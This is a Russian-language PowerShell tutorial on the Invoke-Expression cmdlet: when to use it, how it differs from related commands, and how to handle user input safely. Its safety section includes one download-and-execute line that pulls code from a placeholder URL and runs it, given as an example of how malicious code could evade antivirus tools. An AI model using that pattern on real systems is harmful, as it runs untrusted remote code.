Invoke-Expression: Плюсы, минусы и лучшие практики

Команда PowerShell Invoke-Expression может быть легко неправильно истолкована, когда и когда не использовать ее. В этой статье я собрал несколько часто задаваемых вопросов. Я разберу их и включу множество полезных примеров, на которые вы можете ссылаться, когда вам это понадобится. Это означает, что вы должны добавить эту страницу в закладки прямо сейчас!

Хотите больше советов? Посетите мой личный блог о PowerShell по адресу: https://www.nkasco.com/

Что такое команда Invoke-Expression?

Официальное описание, по данным Microsoft, гласит: “Команда Invoke-Expression выполняет или запускает указанную строку как команду и возвращает результаты выражения или команды. Без Invoke-Expression строка, переданная в командной строке, будет возвращена (выведена) без изменений.”

Другими словами, она может быть полезной для вызова кода внутри сценария или создания команд для выполнения позже. Ее также можно использовать осторожно в сочетании с вводом, предоставляемым пользователем.

Самый базовый пример использования команды Invoke-Expression – это определение сценария и передача этой строки в параметр Command. Затем Invoke-Expression выполняет эту строку.

#Запуск команды PowerShell через Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Выполнение скрипта через Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

Что делать, если у моего пути к скрипту есть пробелы?

Убедитесь, что заключаете строки в одинарные или двойные кавычки.

Например, если вы хотите выполнить строку с пробелом в пути, эти варианты не сработают:

# Эти не работают
$MyScript = "C:\Folder Path\MyScript.ps1"
#или
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Почему? Потому что это абсолютно то же самое, что вводить непосредственно в консоль PowerShell:

PS51> C:\Folder Path\MyScript.ps1

Однако, если заключить элемент пути в одинарные или двойные кавычки с полной строкой в кавычках, Invoke-Expression выполнит скрипт, как ожидается.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Единственный параметр, который имеет Invoke-Expression, – это Command. Нет встроенного способа передачи параметров с Invoke-Expression. Однако, вместо этого, вы можете включить их в строку, которую передаете параметру Command.

Возможно, у вас есть скрипт с двумя параметрами, называемыми Path и Force. Вместо использования определенного параметра через Invoke-Expression, вы можете передавать параметры этого скрипта, передавая их так, как обычно делаете через консоль.

Если вы обычно вызываете этот скрипт так через консоль:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

Вы должны включить всю эту строку в строку и затем передать эту строку параметру Command.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# или
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Имеет ли смысл использовать try/catch с Invoke-Expression?

Не совсем. Это означает, что вам нужно использовать обработку ошибок внутри параметра Command.

Пример:

# Не работает - Invoke-Expression не действует как глобальный обработчик ошибок!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

В чем разница между Invoke-Expression и оператором вызова (&)?

Оператор вызова (&) отлично подходит для быстрого выполнения команды, скрипта или блока скрипта. Однако оператор вызова не разбирает команду. Он не может интерпретировать параметры команды, как это делает Invoke-Expression.

Например, предположим, я хочу получить процесс PowerShell Core с использованием командлета Get-Process с помощью кода Get-Process -ProcessName pwsh. Конкатенация Get-Process и параметра не будет работать ожидаемым образом с использованием оператора вызова.

$a = "Get-Process"

## Не работает
& "$a pwsh"

Но если выполнить эту строку с помощью Invoke-Expression, она будет работать ожидаемым образом.

Invoke-Expression "$a pwsh"

В чем разница между Invoke-Expression и Start-Process?

Командлет Start-Process предоставляет возвращаемый код завершения в возвращаемом объекте. Он позволяет дождаться завершения вызываемого процесса и позволяет запустить процесс с использованием других учетных данных Windows. Invoke-Expression – это быстрый и грязный способ, тогда как Start-Process может быть полезнее для интерпретации результатов выполненного процесса.

В чем разница между Invoke-Expression и Invoke-Command?

Invoke-Expression только “преобразует” строку в исполняемый код. Invoke-Command, с другой стороны, использует PowerShell Remoting, предоставляя вам возможность вызывать код локально или удаленно на компьютерах.

Invoke-Command предпочтительнее, если вы пишете выполняемые команды сейчас, так как вы сохраняете интеллисенс в своей среде IDE, тогда как Invoke-Expression предпочтительнее, если вы хотите вызвать другой скрипт из текущего.

Пример:

 # Оба работают одинаково, но мы потеряли наш интеллисенс с примером Invoke-Expression. 
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

В чем разница между Invoke-Expression и Invoke-Item?

Команда Invoke-Item предоставляет встроенную поддержку для нескольких путей к открытию документов с их стандартным действием, с параметрами для включения, исключения, добавления учетных данных и даже подтверждения для дополнительной безопасности.

Безопасно ли использовать Invoke-Expression?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Пример:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

Какие некоторые bewst практики для выполнения нескольких команд/выражений?

Если у вас есть несколько команд для выполнения, даже если Invoke-Expression принимает только строку вместо массива, мы можем использовать канал PowerShell для отправки объектов по одному вниз по каналу.

Пример:

# Не работает
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Работает
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Как использовать Invoke-Expression с пользовательским вводом?

Вы должны быть очень осторожны при использовании Invoke-Expression с пользовательским вводом. Если вы разрешите пользователю запросить доступ за пределы команды, которую вы намереваетесь выполнить, это может создать нежелательную уязвимость. Вот один из способов безопасного использования пользовательского ввода с Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # Здесь проверьте пользовательский ввод перед продолжением
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # Избегайте использования $Response здесь
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Вывод

У каждого cmdlet’а есть своё место, и Invoke-Expression – один из тех, с которыми почти каждый когда-то столкнется. Важно понимать плюсы и минусы часто используемых cmdlet’ов, чтобы использовать их таким образом, который обеспечивает ваш успех. Меня интересует, как вы использовали Invoke-Expression, чтобы решить некоторые из своих собственных проблем. Поделитесь своей историей в комментариях ниже!

Хотите больше советов в этом роде? Проверьте мой личный блог PowerShell по адресу: https://www.nkasco.com/

Дополнительное чтение

Source:
https://adamtheautomator.com/invoke-expression/